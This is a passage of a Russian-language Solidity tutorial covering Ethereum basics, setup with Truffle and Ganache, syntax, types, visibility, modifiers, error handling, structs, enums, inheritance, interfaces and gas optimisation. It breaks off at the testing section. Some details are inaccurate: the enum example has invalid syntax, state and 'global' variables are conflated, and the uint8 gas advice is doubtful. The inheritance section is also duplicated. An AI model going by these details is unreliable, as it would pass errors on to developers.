2. Язык программирования: Ethereum использует язык программирования Solidity для создания смарт-контрактов, который специально разработан для этой платформы. Другие блокчейн-платформы могут использовать различные языки программирования, такие как JavaScript или C++.
3. Виртуальная машина Ethereum (EVM): EVM является средой выполнения для смарт-контрактов Ethereum, которая обеспечивает безопасность и изоляцию между контрактами. Другие блокчейн-платформы могут использовать альтернативные механизмы исполнения контрактов.
4. Модель консенсуса: Ethereum начинался с использования доказательства работы (Proof of Work, PoW) как механизма консенсуса, но планирует перейти на доказательство доли (Proof of Stake, PoS) с обновлением Ethereum 2.0. Другие блокчейн-платформы могут использовать различные механизмы консенсуса, такие как делегированное доказательство доли (Delegated Proof of Stake, DPoS) или практическое византийское согласие (Practical Byzantine Fault Tolerance, PBFT).
5. Масштабируемость: Ethereum сталкивается с проблемами масштабируемости из- за ограниченной пропускной способности и времени обработки транзакций. Другие блокчейн-платформы, такие как EOS или Cardano, разрабатываются с учетом масштабируемости и стремятся обеспечить более высокую пропускную способность и быстрое время обработки транзакций.
6. Гибкость и настраиваемость: Ethereum предлагает гибкость и настраиваемость для разработчиков, позволяя им создавать широкий спектр приложений и функций на основе смарт-контрактов. Другие блокчейн-платформы могут быть более ограничены в своих возможностях или фокусироваться на определенных сценариях использования, таких как финансовые транзакции или децентрализованные идентификаторы.
Язык программирования Solidity: обзор и основы
Solidity - это объектно-ориентированный, высокоуровневый язык программирования, разработанный специально для написания смарт-контрактов на платформе Ethereum. Он синтаксически похож на JavaScript и включает в себя статическую типизацию, поддержку наследования и библиотек. Solidity предназначен для использования с Ethereum Virtual Machine (EVM), что обеспечивает безопасное и эффективное выполнение смарт-контрактов.
Основы Solidity:
1. Структура контракта: В Solidity, смарт-контракты описываются как классы, содержащие состояние и функции. Контракт определяется с помощью ключевого слова "contract" и его названия. Внутри контракта определяются переменные, функции, модификаторы и события.
2. Типы данных: Solidity поддерживает различные типы данных, такие как целые числа (uint, int), логические (bool), адреса (address), массивы, структуры и перечисления (enum).
3. Функции: Функции в Solidity могут быть внешними, внутренними, публичными или приватными. Внешние функции вызываются извне контракта, внутренние - только внутри контракта, публичные - доступны для всех, а приватные - только для контракта, в котором они определены.
4. Модификаторы: Модификаторы функций используются для изменения поведения функций. Они могут быть использованы для проверки условий перед выполнением функции или для изменения входных параметров.
5. События: События в Solidity позволяют контрактам создавать логи, которые могут быть отслежены внешними наблюдателями. Они полезны для оповещения внешних приложений о происходящих изменениях в контракте.
6. Обработка ошибок: Solidity предоставляет механизмы для обработки ошибок, такие как "require", "assert" и "revert". Эти функции используются для проверки условий и возврата ошибок, если условия не выполняются.
7. Наследование: Solidity поддерживает наследование между контрактами, что позволяет создавать более модульные и повторно используемые смарт-контракты.
Изучение Solidity является важным шагом для разработчиков, желающих создавать смарт-контракты и децентрализованные приложения на платформе Ethereum. Он предоставляет мощные инструменты для создания сложных, безопасных и гибких контрактов, которые могут выполнять различные функции и взаимодействовать с другими контрактами и внешними активами.
Установка и настройка среды разработки для работы с Solidity и Ethereum включает несколько шагов. Вот основные из них:
1. Установка Node.js и npm: Node.js - это серверная платформа для выполнения JavaScript-кода, а npm - это менеджер пакетов Node.js. Они необходимы для установки и использования инструментов разработки Ethereum. Скачайте и установите Node.js с официального сайта: https://nodejs.org/
2. Установка Truffle: Truffle - это популярный инструмент разработки для создания, компиляции, развертывания и тестирования смарт-контрактов на Ethereum. Установите Truffle, выполнив следующую команду в командной строке или терминале:
Code:Copy to clipboard
npm install -g truffle
3. Установка Ganache: Ganache - это локальный блокчейн-симулятор Ethereum, который позволяет тестировать смарт-контракты без необходимости развертывать их на реальной сети. Скачайте и установите Ganache с официального сайта: https://www.trufflesuite.com/ganache
4. Настройка среды разработки: Выберите подходящую среду разработки (IDE) для написания кода на Solidity. Одним из популярных вариантов является Visual Studio Code (https://code.visualstudio.com/), который предлагает расширение для поддержки Solidity. Установите Visual Studio Code и затем установите расширение Solidity (https://marketplace.visualstudio.com/items?itemName=JuanBlanco.solidity) через встроенный Marketplace.
5. Создание и настройка проекта: Создайте новый каталог для вашего проекта и перейдите в него с помощью командной строки или терминала. Затем выполните следующую команду для инициализации нового проекта Truffle:
Code:Copy to clipboard
truffle init
Это создаст базовую структуру проекта с папками и файлами, необходимыми для работы с смарт-контрактами.
6. Настройка сети и развертывания: В файле truffle-config.js
(или
truffle.js
на macOS и Linux) настройте параметры сети и развертывания для
вашего проекта. Здесь вы можете указать адреса, порты и другие параметры для
локальной сети Ganache или реальных сетей Ethereum.
После завершения этих шагов ваша среда разработки будет готова к работе с Solidity и Ethereum. Теперь вы можете начать создавать, компилировать, тестировать и развертывать смарт-контракты, используя инструменты и технологии, установленные и настроенные в вашей среде разработки.
Solidity - это объектно-ориентированный язык программирования с ограниченным количеством типов данных и синтаксисом, напоминающим JavaScript. Вот основы синтаксиса Solidity:
1. Контракты: В Solidity основной компонент, который содержит код и
данные, называется контрактом. Контракт определяется с использованием
ключевого слова contract
и содержит переменные, функции и модификаторы.
Пример:
Code:Copy to clipboard
contract SimpleContract {
// переменные, функции и модификаторы
}
2. Переменные: Solidity поддерживает различные типы переменных, такие как
uint
, int
, bool
, address
, bytes
и пользовательские типы данных
(структуры и перечисления). Переменные могут быть инициализированы и изменены
в функциях.
Пример:
Code:Copy to clipboard
uint public counter;
3. Функции: Функции в Solidity определяются с использованием ключевого
слова function
. Функции могут быть внешними, публичными, внутренними или
частными. Они могут возвращать значения и принимать аргументы.
Пример:
Code:Copy to clipboard
function incrementCounter() public {
counter++;
}
4. Модификаторы: Модификаторы в Solidity используются для изменения
поведения функций. Они определяются с использованием ключевого слова
modifier
и могут быть применены к функциям для добавления дополнительных
условий или проверок.
Пример:
Code:Copy to clipboard
modifier onlyOwner() {
require(msg.sender == owner, "Caller is not the owner");
_;
}
function decrementCounter() public onlyOwner {
counter--;
}
5. Управление состоянием: Solidity позволяет управлять состоянием контракта с использованием переменных состояния и функций. Состояние контракта изменяется при выполнении транзакций.
6. Обработка ошибок: Solidity предоставляет функции, такие как require
,
assert
и revert
, для проверки условий и обработки ошибок.
7. События: События в Solidity используются для логирования и уведомления
о действиях, происходящих в контракте. Они определяются с использованием
ключевого слова event
.
Пример:
Code:Copy to clipboard
event CounterUpdated(uint oldValue, uint newValue);
function incrementCounter() public {
uint oldValue = counter;
counter++;
emit CounterUpdated(oldValue, counter);
}
8. Импорт и наследование: Solidity позволяет импортировать другие контракты и использовать наследование для повторного использования кода и расширения функциональности.
Пример импорта:
Code:Copy to clipboard
import "./AnotherContract.sol";
Пример наследования:
Code:Copy to clipboard
contract ChildContract is ParentContract {
// дополнительный код
}
Это краткое изложение основ синтаксиса Solidity, который является отправной точкой для изучения и создания смарт-контрактов на платформе Ethereum.
В Solidity существует множество типов данных, которые можно использовать при создании смарт-контрактов. Вот краткий обзор основных типов данных:
1. Целочисленные типы:
- uint (беззнаковое целое число): uint8, uint16, uint32 и так далее, где
число после "uint" указывает на количество бит, используемых для представления
числа. Например, uint8 может хранить числа от 0 до 255.
- int (знаковое целое число): int8, int16, int32 и так далее, аналогично
uint, но может хранить отрицательные числа.
2. Логический тип:
- bool: представляет истину (true) или ложь (false).
3. Адрес:
- address: представляет 20-байтовый Ethereum-адрес. Также имеет подтипы
address payable (для возможности отправки эфира) и address (для хранения
адресов без возможности отправки эфира).
4. Фиксированный размер массива:
- Тип[размер]: массив фиксированного размера с элементами указанного типа.
Например, uint[5] - это массив из 5 беззнаковых целых чисел.
5. Динамический размер массива:
- Тип[]: массив динамического размера с элементами указанного типа. Например,
uint[] - это массив беззнаковых целых чисел с динамическим размером.
6. Структуры:
- struct: пользовательский тип данных, который позволяет группировать
различные типы данных в единый объект. Например, struct Person {string name;
uint age;}.
7. Перечисления:
- enum: пользовательский тип данных, представляющий ограниченный набор
значений. Например, enum Status {Pending, Approved, Rejected;}.
8. Строки:
- string: динамический массив символов, представляющий текстовые строки.
Использует кодировку UTF-8.
9. Байты:
- bytes1, bytes2, bytes3 и так далее: массивы фиксированного размера байтов.
- bytes: динамический массив байтов.
10. Маппинги (словари):
- mapping(ключ => значение): структура данных, представляющая отображение
ключей на значения. Например, mapping(address => uint) balanceOf;.
Обратите внимание, что в Solidity также доступны более сложные типы данных, такие как массивы структур или маппинги, содержащие массивы.
В Solidity, переменные представляют собой именованные области памяти, которые хранят значения определенного типа данных. Область видимости переменной определяет, где в коде смарт-контракта эта переменная доступна и может быть использована. В Solidity существует несколько видов переменных с различной областью видимости:
1. Локальные переменные: Объявлены внутри функций и доступны только внутри этих функций. Локальные переменные исчезают после завершения выполнения функции, и их значения не сохраняются между вызовами функций.
Пример:
Code:Copy to clipboard
solidity
function example() public {
uint localVariable = 42; // локальная переменная
}
2. Глобальные переменные: Объявлены вне функций и доступны во всех функциях контракта. Глобальные переменные сохраняют свои значения на протяжении всего жизненного цикла контракта.
Пример:
Code:Copy to clipboard
solidity
contract Example {
uint globalVariable = 42; // глобальная переменная
function example() public {
globalVariable = 50; // изменение значения глобальной переменной
}
}
3. Состояние переменных: Объявлены вне функций и хранятся в блокчейне. Состояние переменных доступно всем функциям контракта и сохраняет свои значения между вызовами функций. Значения состояния переменных могут быть изменены только внутри контракта, и они являются постоянными для всех участников сети.
Пример:
Code:Copy to clipboard
solidity
contract Example {
uint public stateVariable = 42; // переменная состояния
function example() public {
stateVariable = 50; // изменение значения переменной состояния
}
}
4. Параметры функций: Объявлены в заголовке функции и доступны только внутри этой функции. Параметры функций передаются в функцию при ее вызове и используются для передачи данных между функциями и контрактами.
Пример:
Code:Copy to clipboard
solidity
function example(uint parameter) public {
uint localVar = parameter + 1; // использование параметра функции
}
Важно помнить об области видимости переменных при написании кода смарт- контракта, чтобы избежать ошибок и неожиданного поведения.
Функции в Solidity являются основными блоками кода, которые определяют поведение смарт-контракта. Они используются для выполнения определенных задач, обработки данных и взаимодействия с другими контрактами и аккаунтами. Функции могут принимать параметры, возвращать значения и вызывать другие функции.
В Solidity функции могут быть определены с различными модификаторами видимости:
1. public
: Функции с модификатором public
могут быть вызваны из любого
другого контракта или аккаунта. Они являются внешним интерфейсом смарт-
контракта и доступны для всех участников сети.
Пример:
Code:Copy to clipboard
solidity
function add(uint a, uint b) public returns (uint) {
return a + b;
}
2. external
: Функции с модификатором external
могут быть вызваны только
из других контрактов или с помощью транзакций. Они не могут быть вызваны
внутри контракта, в котором объявлены.
Пример:
Code:Copy to clipboard
solidity
function add(uint a, uint b) external returns (uint) {
return a + b;
}
3. internal
: Функции с модификатором internal
могут быть вызваны только
внутри контракта, в котором объявлены, или в контрактах, которые наследуют
этот контракт. Они не могут быть вызваны из внешних контрактов или аккаунтов.
Пример:
Code:Copy to clipboard
solidity
function add(uint a, uint b) internal returns (uint) {
return a + b;
}
4. private
: Функции с модификатором private
могут быть вызваны только
внутри контракта, в котором объявлены. Они не могут быть вызваны из других
контрактов, даже если они являются наследниками.
Пример:
Code:Copy to clipboard
solidity
function add(uint a, uint b) private returns (uint) {
return a + b;
}
Кроме того, функции могут иметь дополнительные модификаторы, такие как pure
,
view
, payable
и пользовательские модификаторы:
- pure
: Функции, которые не читают и не изменяют состояние контракта. Они
могут быть оптимизированы компилятором для уменьшения затрат на газ.
- view
: Функции, которые читают состояние контракта, но не изменяют его.
Они могут быть вызваны без затрат на газ, если вызываются локально.
- payable
: Функции, которые могут принимать эфир (Ether) в качестве оплаты.
Если функция не помечена как payable
, она автоматически отклонит любые
попытки отправить эфир вместе с вызовом функции.
- Пользовательские модификаторы: Определенные разработчиком модификаторы,
которые могут быть использованы для контроля доступа, проверки условий или
других задач.
Пример:
Code:Copy to clipboard
solidity
contract Example {
uint public value;
function setValue(uint _value) public onlyPositive(_value) {
value = _value;
}
modifier onlyPositive(uint _value) {
require(_value > 0, "Value must be positive");
_;
}
}
В этом примере функция setValue
имеет пользовательский модификатор
onlyPositive
, который проверяет, что переданное значение положительное,
перед обновлением переменной value
.
Модификаторы функций в Solidity - это специальные ключевые слова, которые используются для изменения поведения функций в смарт-контрактах. Они предоставляют гибкость и контроль над поведением функций, позволяя разработчикам реализовывать различные ограничения и проверки. Вот некоторые из наиболее распространенных модификаторов функций в Solidity:
1. public
: функции с этим модификатором доступны для всех и могут быть
вызваны извне контракта, другими контрактами или транзакциями.
2. external
: функции с этим модификатором могут быть вызваны только из
других контрактов или транзакций. Они не могут быть вызваны внутри контракта,
где объявлены.
3. internal
: функции с этим модификатором доступны только внутри контракта,
в котором они объявлены, и его наследниках (подконтрактах). Они не могут быть
вызваны извне контракта.
4. private
: функции с этим модификатором доступны только внутри контракта,
где они объявлены. Они не могут быть вызваны из наследников или других
контрактов.
5. pure
: функции с этим модификатором не читают и не изменяют состояние
контракта. Они используются для выполнения математических или логических
операций, которые не требуют доступа к данным контракта.
6. view
: функции с этим модификатором могут только читать состояние
контракта, но не могут его изменять. Они используются для получения информации
о контракте без изменения его состояния.
7. payable
: функции с этим модификатором могут принимать эфир в качестве
оплаты. Они используются для обработки транзакций, в которых передается
значение в виде эфира.
8. Пользовательские модификаторы: разработчики могут создавать свои собственные модификаторы функций для контроля доступа и проверки определенных условий. Это позволяет реализовывать более сложную логику и ограничения для функций смарт-контракта.
Модификаторы функций используются в комбинации для определения поведения функций и обеспечения безопасности смарт-контрактов.
Условные операторы и циклы являются основными элементами программирования, которые используются для создания логики и управления потоком выполнения кода в смарт-контрактах написанных на Solidity. Они позволяют разработчикам реализовывать различные алгоритмы и обрабатывать разнообразные сценарии.
1. Условные операторы: Условные операторы используются для выполнения определенного кода в зависимости от истинности или ложности условия. В Solidity используются два основных условных оператора:
- if
: оператор if
выполняет блок кода, если условие истинно. Если условие
ложно, код внутри блока if
не будет выполнен.
- else
: оператор else
используется вместе с if
для выполнения
альтернативного блока кода, если условие if
ложно.
Пример использования условных операторов:
Code:Copy to clipboard
if (balance >= 10) {
// Выполнить код, если баланс больше или равен 10
} else {
// Выполнить код, если баланс меньше 10
}
2. Циклы: Циклы используются для повторения определенного блока кода до тех пор, пока выполняется заданное условие. В Solidity используются два основных типа циклов:
- for
: цикл for
повторяет выполнение блока кода определенное количество
раз. Цикл состоит из инициализации, условия, инструкции итерации и блока кода.
Пример использования цикла for
:
Code:Copy to clipboard
for (uint i = 0; i < 10; i++) {
// Выполнить код 10 раз
}
- while
: цикл while
повторяет выполнение блока кода до тех пор, пока
условие истинно. Если условие ложно с самого начала, код внутри блока while
не будет выполнен. Пример использования цикла while
:
Code:Copy to clipboard
uint i = 0;
while (i < 10) {
// Выполнить код, пока i меньше 10
i++;
}
Использование условных операторов и циклов в Solidity позволяет создавать сложную логику и обрабатывать различные ситуации в смарт-контрактах. Однако следует помнить, что выполнение кода на блокчейне потребляет газ, поэтому оптимизация и эффективность кода являются важными аспектами при разработке смарт-контрактов.
Обработка ошибок и исключений является важным аспектом разработки смарт- контрактов на Solidity. Ошибки и исключения могут возникать в результате неправильного выполнения кода, некорректных входных данных или нарушения ограничений контракта. В Solidity предусмотрены различные механизмы для обработки ошибок и исключений, чтобы обеспечить надежность и безопасность смарт-контрактов.
1. require
: Функция require
используется для проверки условий, которые
должны быть истинными для корректного выполнения кода. Если условие ложно,
выполнение кода прерывается, и все изменения состояния контракта откатываются.
require
также позволяет указать сообщение об ошибке, которое будет
возвращено в случае исключения.
Пример использования require
:
Code:Copy to clipboard
function transfer(address to, uint256 amount) public {
require(balance[msg.sender] >= amount, "Insufficient balance");
balance[msg.sender] -= amount;
balance[to] += amount;
}
2. revert
: Функция revert
используется для явного отката всех изменений
состояния контракта и прекращения выполнения кода. Это может быть полезно,
если обнаружена ошибка или нарушение условий контракта. revert
также
позволяет указать сообщение об ошибке.
Пример использования revert
:
Code:Copy to clipboard
function withdraw(uint256 amount) public {
if (balance[msg.sender] < amount) {
revert("Insufficient balance");
}
balance[msg.sender] -= amount;
msg.sender.transfer(amount);
}
3. assert
: Функция assert
используется для проверки инвариантов, то есть
условий, которые должны быть истинными в любой момент времени. Если условие
ложно, это указывает на серьезную ошибку в коде. В отличие от require
,
assert
не позволяет указать сообщение об ошибке, и в случае исключения весь
оставшийся газ тратится.
Пример использования assert
:
Code:Copy to clipboard
function divide(uint256 a, uint256 b) public pure returns (uint256) {
uint256 result = a / b;
assert(a == b * result + a % b);
return result;
}
Обработка ошибок и исключений в Solidity позволяет создавать надежные и безопасные смарт-контракты, предотвращая нежелательное поведение и потерю средств пользователей. Разработчикам следует активно использовать механизмы обработки ошибок и исключений для обеспечения корректной работы смарт- контрактов.
Работа с массивами и структурами данных является важным аспектом программирования на Solidity, так как они позволяют хранить и обрабатывать большие объемы информации в смарт-контрактах. В Solidity поддерживаются различные типы массивов и структур данных, которые обеспечивают гибкость и эффективность при реализации различных алгоритмов и функций.
1. Массивы: Массивы в Solidity могут быть фиксированной или динамической длины и могут содержать элементы одного типа данных. Массивы могут быть одномерными или многомерными.
Примеры массивов:
Code:Copy to clipboard
// Фиксированный одномерный массив
uint256[5] fixedArray;
// Динамический одномерный массив
uint256[] dynamicArray;
// Фиксированный двумерный массив
uint256[3][3] fixed2DArray;
// Динамический двумерный массив
uint256[][] dynamic2DArray;
2. Структуры: Структуры позволяют создавать пользовательские типы данных, которые могут содержать различные поля с разными типами данных. Структуры облегчают организацию и управление данными в смарт-контрактах.
Пример структуры:
Code:Copy to clipboard
struct Person {
string name;
uint256 age;
bool isActive;
}
// Создание экземпляра структуры
Person public person = Person("John Doe", 30, true);
3. Маппинги: Маппинги представляют собой коллекции пар ключ-значение, где ключи уникальны и могут быть использованы для поиска соответствующих значений. Маппинги являются эффективным способом хранения и поиска данных в смарт- контрактах.
Пример маппинга:
Code:Copy to clipboard
// Маппинг адреса на баланс
mapping(address => uint256) public balances;
// Установка значения в маппинге
balances[msg.sender] = 1000;
// Получение значения из маппинга
uint256 balance = balances[msg.sender];
Работа с массивами и структурами данных в Solidity требует понимания особенностей и ограничений каждого типа данных, а также умения эффективно использовать их для реализации различных алгоритмов и функций смарт- контрактов. Также важно учитывать вопросы оптимизации и потребления газа при работе с массивами и структурами данных.
Определение и использование структур в Solidity является одним из ключевых аспектов разработки смарт-контрактов, так как структуры предоставляют возможность создавать пользовательские типы данных с различными полями и типами данных. Это позволяет разработчикам легче организовывать и управлять данными в смарт-контрактах.
1. Определение структур: Чтобы определить структуру, необходимо использовать
ключевое слово struct
и указать имя структуры, а затем перечислить поля
структуры и их типы данных внутри фигурных скобок.
Пример определения структуры:
Code:Copy to clipboard
struct Person {
string name;
uint256 age;
bool isActive;
}
В данном примере определена структура Person
, содержащая три поля: name
(типа string
), age
(типа uint256
) и isActive
(типа bool
).
2. Использование структур: После определения структуры можно создавать экземпляры этой структуры и использовать их для хранения и обработки данных.
Пример создания экземпляра структуры:
Code:Copy to clipboard
// Создание экземпляра структуры
Person public person = Person("John Doe", 30, true);
В данном примере создается экземпляр структуры Person
с именем person
и
заданными значениями полей.
Пример работы со структурами в массивах и маппингах:
Code:Copy to clipboard
// Массив экземпляров структуры
Person[] public people;
// Маппинг идентификатора на экземпляр структуры
mapping(uint256 => Person) public personById;
// Добавление нового экземпляра структуры в массив и маппинг
function addPerson(string memory _name, uint256 _age, bool _isActive) public {
Person memory newPerson = Person(_name, _age, _isActive);
people.push(newPerson);
personById[_age] = newPerson;
}
В данном примере создается массив people
, содержащий экземпляры структуры
Person
, и маппинг personById
, связывающий идентификаторы с экземплярами
структуры. Функция addPerson
позволяет добавлять новые экземпляры структуры
в массив и маппинг.
Использование структур в Solidity облегчает работу с данными и повышает читаемость кода. Однако необходимо учитывать ограничения и особенности работы со структурами, а также вопросы оптимизации и потребления газа.
Определение и использование перечислений (enumerations) в Solidity является еще одним важным аспектом разработки смарт-контрактов. Перечисления предоставляют возможность создавать пользовательские типы данных, которые состоят из предопределенного набора именованных значений. Это позволяет разработчикам упростить код, повысить его читаемость и предотвратить ошибки, связанные с использованием некорректных значений.
1. Определение перечислений: Чтобы определить перечисление, необходимо
использовать ключевое слово enum
и указать имя перечисления, а затем
перечислить именованные значения внутри фигурных скобок.
Пример определения перечисления:
Code:Copy to clipboard
enum Status {
Pending,
Approved,
Rejected
}
В данном примере определено перечисление Status
, содержащее три именованных
значения: Pending
, Approved
и Rejected
.
2. Использование перечислений: После определения перечисления можно использовать его в качестве типа данных для переменных, параметров функций и возвращаемых значений.
Пример использования перечисления:
Code:Copy to clipboard
// Использование перечисления в качестве типа данных для переменной
Status public currentStatus = Status.Pending;
// Изменение значения переменной с использованием перечисления
function approve() public {
currentStatus = Status.Approved;
}
function reject() public {
currentStatus = Status.Rejected;
}
// Использование перечисления в качестве параметра функции и возвращаемого значения
function setStatus(Status _newStatus) public {
currentStatus = _newStatus;
}
function getStatus() public view returns (Status) {
return currentStatus;
}
В данном примере используется перечисление Status
для определения переменной
currentStatus
. Функции approve
и reject
изменяют значение этой
переменной, используя именованные значения перечисления. Функции setStatus
и
getStatus
принимают и возвращают значения типа Status
.
Использование перечислений в Solidity позволяет сделать код более читаемым и надежным, избегая ошибок, связанных с использованием неправильных значений. Однако, как и в случае со структурами, необходимо учитывать ограничения и особенности работы с перечислениями, а также вопросы оптимизации и потребления газа.
Введение в наследование в контексте программирования на Solidity и разработки смарт-контрактов:
Наследование является ключевым механизмом объектно-ориентированного программирования, позволяющим создавать новые классы или контракты на основе существующих. В Solidity, наследование позволяет разработчикам повторно использовать код, разделять функциональность между контрактами и создавать иерархии контрактов для упрощения разработки и поддержки.
Основные аспекты наследования в Solidity:
1. Создание подконтрактов: Подконтракты создаются путем указания
существующего контракта в качестве базового. Это делается с использованием
ключевого слова is
после имени нового контракта.
Пример создания подконтракта:
Code:Copy to clipboard
contract Base {
// Код базового контракта
}
contract Derived is Base {
// Код подконтракта
}
В данном примере контракт Derived
наследует от контракта Base
.
2. Доступ к функциям и переменным базового контракта: Подконтракты имеют
доступ ко всем функциям и переменным базового контракта, за исключением тех,
что объявлены с модификатором private
. Это позволяет подконтрактам
использовать и расширять функциональность базового контракта.
3. Переопределение функций: Подконтракты могут переопределять функции
базового контракта, если они объявлены с модификатором virtual
. Для
переопределения функции в подконтракте используется модификатор override
.
Пример переопределения функции:
Code:Copy to clipboard
contract Base {
function foo() public virtual returns (string memory) {
return "Base";
}
}
contract Derived is Base {
function foo() public override returns (string memory) {
return "Derived";
}
}
В данном примере функция foo
базового контракта Base
объявлена с
модификатором virtual
, что позволяет подконтракту Derived
переопределить
ее с использованием модификатора override
.
4. Множественное наследование: Solidity поддерживает множественное наследование, позволяя контракту наследовать от нескольких базовых контрактов. В этом случае порядок наследования имеет значение и определяется слева направо.
Пример множественного наследования:
Code:Copy to clipboard
contract A {
// Код контракта A
}
contract B {
// Код контракта B
}
contract C is A, B {
// Код контракта C, наследующего от A и B
}
В данном примере контракт C
наследует от контрактов A
и B
.
Наследование в Solidity является мощным инструментом для разработки смарт- контрактов, позволяющим упростить код, повысить его модульность и повторное использование. Однако, как и в случае с другими механизмами, необходимо учитывать ограничения и особенности работы с наследованием, а также вопросы оптимизации и потребления газа.
Введение в наследование в контексте программирования на Solidity и разработки смарт-контрактов:
Наследование является ключевым механизмом объектно-ориентированного программирования, позволяющим создавать новые классы или контракты на основе существующих. В Solidity, наследование позволяет разработчикам повторно использовать код, разделять функциональность между контрактами и создавать иерархии контрактов для упрощения разработки и поддержки.
Основные аспекты наследования в Solidity:
1. Создание подконтрактов: Подконтракты создаются путем указания
существующего контракта в качестве базового. Это делается с использованием
ключевого слова is
после имени нового контракта.
Пример создания подконтракта:
Code:Copy to clipboard
contract Base {
// Код базового контракта
}
contract Derived is Base {
// Код подконтракта
}
В данном примере контракт Derived
наследует от контракта Base
.
2. Доступ к функциям и переменным базового контракта: Подконтракты имеют
доступ ко всем функциям и переменным базового контракта, за исключением тех,
что объявлены с модификатором private
. Это позволяет подконтрактам
использовать и расширять функциональность базового контракта.
3. Переопределение функций: Подконтракты могут переопределять функции
базового контракта, если они объявлены с модификатором virtual
. Для
переопределения функции в подконтракте используется модификатор override
.
Пример переопределения функции:
Code:Copy to clipboard
contract Base {
function foo() public virtual returns (string memory) {
return "Base";
}
}
contract Derived is Base {
function foo() public override returns (string memory) {
return "Derived";
}
}
В данном примере функция foo
базового контракта Base
объявлена с
модификатором virtual
, что позволяет подконтракту Derived
переопределить
ее с использованием модификатора override
.
4. Множественное наследование: Solidity поддерживает множественное наследование, позволяя контракту наследовать от нескольких базовых контрактов. В этом случае порядок наследования имеет значение и определяется слева направо.
Пример множественного наследования:
Code:Copy to clipboard
contract A {
// Код контракта A
}
contract B {
// Код контракта B
}
contract C is A, B {
// Код контракта C, наследующего от A и B
}
В данном примере контракт C
наследует от контрактов A
и B
.
Наследование в Solidity является мощным инструментом для разработки смарт- контрактов, позволяющим упростить код, повысить его модульность и повторное использование. Однако, как и в случае с другими механизмами, необходимо учитывать ограничения и особенности работы с наследованием, а также вопросы оптимизации и потребления газа.
Интерфейсы и абстрактные контракты являются важными элементами разработки смарт-контрактов на Solidity. Они позволяют создавать гибкие и модульные системы, облегчая взаимодействие между контрактами и сторонними сервисами. Рассмотрим каждый из этих понятий подробнее:
1. Интерфейсы:
Интерфейс - это шаблон, который определяет набор функций, которые должен реализовать контракт. Интерфейсы не содержат реализацию функций, только их объявления. Интерфейсы могут быть использованы для определения стандартов и обеспечения совместимости между различными контрактами.
Пример интерфейса:
Code:Copy to clipboard
solidity
interface IToken {
function transfer(address to, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
}
В данном примере определен интерфейс IToken
, который содержит две функции:
transfer
и balanceOf
. Контракты, реализующие этот интерфейс, должны
предоставить реализацию для этих функций.
2. Абстрактные контракты:
Абстрактный контракт - это контракт, который содержит хотя бы одну нереализованную функцию. Абстрактные контракты не могут быть развернуты напрямую, но могут быть использованы в качестве базовых контрактов для создания производных контрактов, которые реализуют недостающие функции.
Пример абстрактного контракта:
Code:Copy to clipboard
solidity
abstract contract Token {
function transfer(address to, uint256 amount) public virtual returns (bool);
function balanceOf(address account) public view virtual returns (uint256);
}
В данном примере определен абстрактный контракт Token
, который содержит две
функции: transfer
и balanceOf
. Эти функции объявлены с модификатором
virtual
, что позволяет производным контрактам переопределить их.
Интерфейсы и абстрактные контракты используются для разных целей. Интерфейсы определяют стандарты и обеспечивают совместимость между контрактами, в то время как абстрактные контракты могут содержать частичную реализацию функций и переменных состояния, предоставляя базовый функционал для производных контрактов.
Оба этих подхода являются важными инструментами для разработки модульных и масштабируемых смарт-контрактов на Solidity.
В Solidity существует два типа функций: внешние (external) и внутренние (internal). Они определяют область видимости функций и то, как они могут быть вызваны. Разница между ними заключается в том, как и откуда они могут быть вызваны, а также в их оптимизации.
1. Внешние функции (external):
Внешние функции могут быть вызваны из других контрактов или с использованием
транзакций. Они объявляются с использованием ключевого слова external
.
Внешние функции обычно используются для взаимодействия с контрактом из
внешнего мира или других контрактов.
Пример внешней функции:
Code:Copy to clipboard
solidity
contract MyContract {
function externalFunction(uint256 value) external {
// Реализация функции
}
}
2. Внутренние функции (internal):
Внутренние функции могут быть вызваны только внутри контракта, в котором они
определены, или в контрактах, которые наследуют этот контракт. Они объявляются
с использованием ключевого слова internal
или без указания модификатора
видимости, поскольку internal
является видимостью по умолчанию.
Пример внутренней функции:
Code:Copy to clipboard
solidity
contract MyContract {
function internalFunction(uint256 value) internal {
// Реализация функции
}
}
Внутренние функции обычно используются для реализации вспомогательной логики, которая не должна быть доступна извне контракта.
Важно отметить, что внешние функции не могут быть вызваны внутри контракта
напрямую. Вместо этого, вам нужно использовать this.functionName()
для
вызова внешней функции из контракта. Внутренние функции, наоборот, не могут
быть вызваны из других контрактов или с использованием транзакций.
Внешние функции обычно менее эффективны с точки зрения газа при вызове изнутри контракта, поскольку требуют дополнительных операций для доступа к данным. Внутренние функции же оптимизированы для внутреннего использования и могут сэкономить газ при вызове из контракта.
Оптимизация кода смарт-контрактов важна для улучшения производительности и снижения затрат на газ при выполнении операций. Вот несколько рекомендаций и практик по оптимизации кода смарт-контрактов на Solidity:
1. Используйте правильные типы данных: Выбирайте наиболее подходящие и
экономичные типы данных для переменных. Например, используйте uint8
вместо
uint256
, если диапазон значений переменной позволяет это сделать.
2. Удаляйте неиспользуемые переменные и функции: Удаление лишних переменных и функций снижает размер контракта и упрощает его структуру.
3. Используйте view
и pure
модификаторы функций: Функции, которые не
изменяют состояние контракта, должны быть объявлены с модификаторами view
или pure
. Это позволяет снизить затраты на газ, так как эти функции будут
выполняться только на локальной ноде.
4. Оптимизация циклов: Избегайте использования циклов с неопределенным количеством итераций, так как это может привести к высоким затратам на газ. Постарайтесь оптимизировать циклы и использовать их только тогда, когда это необходимо.
5. Используйте события для логирования: Вместо сохранения информации в переменных контракта, используйте события (events) для логирования. События стоят меньше газа, чем запись в переменные, и позволяют легко отслеживать изменения в контракте.
6. Используйте библиотеки и делегирование: Используйте библиотеки и делегирование для разделения логики и уменьшения размера контракта. Библиотеки позволяют переиспользовать код и снижают затраты на газ при развертывании контракта.
7. Оптимизация хранения данных: Структурируйте данные таким образом, чтобы минимизировать затраты на газ при их хранении и обновлении. Например, используйте структуры данных, такие как массивы и мапы, для компактного хранения информации.
8. Учитывайте порядок операций: Порядок операций может влиять на затраты на газ. Например, выполняйте проверки перед изменением состояния контракта, чтобы избежать ненужных затрат на газ.
9. Используйте компилятор с оптимизацией: Включите оптимизацию при компиляции контракта, чтобы снизить размер байткода и затраты на газ при развертывании и вызове функций.
10. Тестируйте и анализируйте: Проводите тестирование и анализ затрат на газ для разных сценариев использования контракта. Это поможет определить узкие места и возможности для оптимизации.
Оптимизация кода смарт-контрактов является важным аспектом разработки на Solidity, так как она напрямую влияет на затраты на газ и производительность контракта.
Введение в тестирование смарт-контрактов:
